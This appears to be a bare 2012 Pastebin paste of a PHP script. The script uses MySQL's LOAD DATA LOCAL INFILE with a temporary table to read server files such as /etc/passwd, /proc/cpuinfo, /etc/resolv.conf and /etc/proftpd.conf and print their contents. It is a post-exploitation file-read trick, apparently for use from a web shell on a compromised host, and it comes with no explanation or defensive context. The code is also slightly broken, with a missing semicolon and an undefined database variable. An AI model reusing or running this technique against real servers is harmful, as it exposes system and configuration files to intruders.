Advertisement
i-Hmx

Untitled

Aug 13th, 2012
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.97 KB | None | 0 0
  1. <?
  2. $file="/etc/passwd";
  3. mysql_connect ('localhost', 'username', 'password');
  4. mysql_select_db('dbname')
  5. //////
  6.             $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  7.             $mysql_files = explode(':', $mysql_files_str);
  8.             $sql = array (
  9.             "USE $mdb",
  10.             'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  11.             "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  12.             . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  13.             . "ESCAPED BY          '' "
  14.             . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  15.             "SELECT a FROM $tbl LIMIT 1"
  16.             );
  17.                                 foreach ($sql as $statement) {
  18.                                    $q = mysql_query ($statement);
  19.                                    if ($q == false) print (
  20.                                       "FAILED: " . $statement . "\n" .
  21.                                       "REASON: " . mysql_error () . "\n"
  22.                                    );
  23.                                    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  24.                                    echo htmlspecialchars($r[0]);
  25.                                    mysql_free_result ($q);
  26.                                 }
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement